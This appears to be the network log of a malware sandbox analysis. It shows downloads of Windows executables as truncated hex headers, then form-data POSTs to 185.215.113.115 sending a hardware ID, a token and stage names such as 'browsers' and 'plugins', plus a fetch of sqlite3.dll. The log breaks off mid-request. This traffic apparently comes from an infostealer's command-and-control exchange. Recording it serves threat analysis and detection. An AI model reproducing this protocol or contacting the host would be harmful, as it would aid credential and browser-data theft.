Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Feb 2025 08:49:10 GMTContent-Type: application/octet-streamContent-Length: 10647040Last-Modified: Mon, 24 Feb 2025 19:01:49 GMTConnection: keep-aliveETag: "67bcc21d-a27600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5e 2b ba 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 6c a2 00 00 08 00 00 00 00 00 00 9e 8b a2 00 00 20 00 00 00 a0 a2 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 a2 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 8b a2 00 4b 00 00 00 00 a0 a2 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 a2 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 6b a2 00 00 20 00 00 00 6c a2 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ce 04 00 00 00 a0 a2 00 00 06 00 00 00 6e a2 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 a2 00 00 02 00 00 00 74 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 8b a2 00 00 00 00 00 48 00 00 00 02 00 05 00 1c 5f a2 00 34 2c 00 00 01 00 00 00 21 00 00 06 1c 26 00 00 00 39 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 16 00 00 0a 2a 1a 72 01 00 00 70 2a 1a 20 98 d3 c8 03 2a 1e 02 28 17 00 00 0a 2a 1a 72 a4 00 00 70 2a 1a 20 4a fe 90 02 2a a6 73 18 00 00 0a 80 01 00 00 04 73 19 00 00 0a 80 02 00 00 04 73 1a 00 00 0a 80 03 00 00 04 73 1b 00 00 0a 80 04 00 00 04 2a 1a 72 29 01 00 70 2a 1a 20 f6 c0 9d 04 2a 1a 72 ae 01 00 70 2a 1a 20 2a 70 7b 01 2a 1a 72 33 02 00 70 2a 1a 20 95 cd d5 00 2a 1a 72 b8 02 00 70 2a 1a 20 1a 78 21 05 2a 1a 72 3d 03 00 70 2a 1a 20 90 74 0e 01 2a 1e 02 28 26 00 00 0a 2a 1a 72 7a 04 00 70 2a 1a 20 45 2f 8d 02 2a 1a 72 ff 04 00 70 2a 1a 20 0c 9f d1 02 2a 1a 72 84 05 00 70 2a 1a 72 09 06 00 70 2a 1a 20 2c 2d e7 03 2a 1a 72 8e 06 00 70 2a 1a 20 8d 98 98 04 2a 1a 72 13 07 00 70 2a 1a 20 b7 4f 04 02 2a 1a 72 98 07 00 70 2a 1a 20 ab 33 20 02 2a 00 13 30 01 00 0f 00 00 00 01 00 00 11 7e 01 00 00 04 6f 1c 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 02 00 00 11 7e 02 00 00 04 6f 1d 00 00 0a 0a 2b 00 06 2a 00 13 30 01 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Feb 2025 08:49:23 GMTContent-Type: application/octet-streamContent-Length: 4187648Last-Modified: Mon, 24 Feb 2025 20:04:18 GMTConnection: keep-aliveETag: "67bcd0c2-3fe600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 80 37 64 9e c4 56 0a cd c4 56 0a cd c4 56 0a cd 8f 2e 09 cc da 56 0a cd 8f 2e 0f cc 69 56 0a cd 8f 2e 0e cc de 56 0a cd d5 d0 09 cc d2 56 0a cd d5 d0 0e cc d6 56 0a cd d5 d0 0f cc 94 56 0a cd 8f 2e 0b cc c3 56 0a cd c4 56 0b cd 9a 56 0a cd 40 d0 0f cc c6 56 0a cd 40 d0 08 cc c5 56 0a cd 52 69 63 68 c4 56 0a cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b5 16 bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 ca 30 00 00 26 0f 00 00 00 00 00 3f ac 2e 00 00 10 00 00 00 e0 30 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 40 00 00 04 00 00 cf c3 40 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 5c 38 00 50 00 00 00 00 90 3e 00 c8 86 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 3c 00 fc 5e 02 00 b0 a1 34 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a2 34 00 18 00 00 00 f0 a0 34 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 30 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ba c9 30 00 00 10 00 00 00 ca 30 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 83 07 00 00 e0 30 00 00 84 07 00 00 ce 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c b8 03 00 00 70 38 00 00 ac 03 00 00 52 38 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 fc 5e 02 00 00 30 3c 00 00 60 02 00 00 fe 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 c8 86 01 00 00 90 3e 00 00 88 01 00 00 5e 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Feb 2025 08:49:32 GMTContent-Type: application/octet-streamContent-Length: 357416Last-Modified: Wed, 26 Feb 2025 07:41:53 GMTConnection: keep-aliveETag: "67bec5c1-57428"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 7b 22 8c e5 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 1e 00 00 00 08 00 00 00 00 00 00 76 36 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 05 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 36 00 00 4f 00 00 00 00 40 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 4e 05 00 28 26 00 00 00 60 00 00 0c 00 00 00 90 35 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 08 1c 00 00 00 20 00 00 00 1e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 40 00 00 00 06 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 00 00 00 02 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 63 73 73 00 00 00 00 00 24 05 00 00 80 00 00 00 24 05 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.115Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDHDGCBFBKECBFHCAFHHost: 185.215.113.115Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 43 37 34 31 41 42 42 43 31 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 72 65 6e 6f 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 2d 2d 0d 0a Data Ascii: ------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="hwid"7C741ABBC1B83946098432------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="build"reno------GIDHDGCBFBKECBFHCAFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCHost: 185.215.113.115Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="message"browsers------IEGCBAAFHDHDHJKEGCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEBHost: 185.215.113.115Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="message"plugins------KKJKKJJKJEGIECAKJJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBKKJKJEBFBGCBAAFIHost: 185.215.113.115Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 4b 4b 4a 4b 4a 45 42 46 42 47 43 42 41 41 46 49 2d 2d 0d 0a Data Ascii: ------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="token"2cbe072102dbade6265cb2bb9cd861f25e6d19dc2e73e919052c13a39b807224ec86d282------IJDBKKJKJEBFBGCBAAFIContent-Disposition: form-data; name="message"fplugins------IJDBKKJKJEBFBGCBAAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 185.215.113.115Content-Length: 6051Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.115Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.115Content-Length: 995Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHCHost: 185.215.113.115Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 185.215.113.115Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 63 62 65 30 37 32 31 30 32 64 62 61 64 65 36 32 36 35 63 62 32 62 62 39 63 64 38 36 31 66 32 35 65 36 64 31 39 64 63 32 65 37 33 65 39 31 39 30 35 32 63 31 33 61 33 39 62 38 30 37 32 32 34 65 63 38 36 64 32 38 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 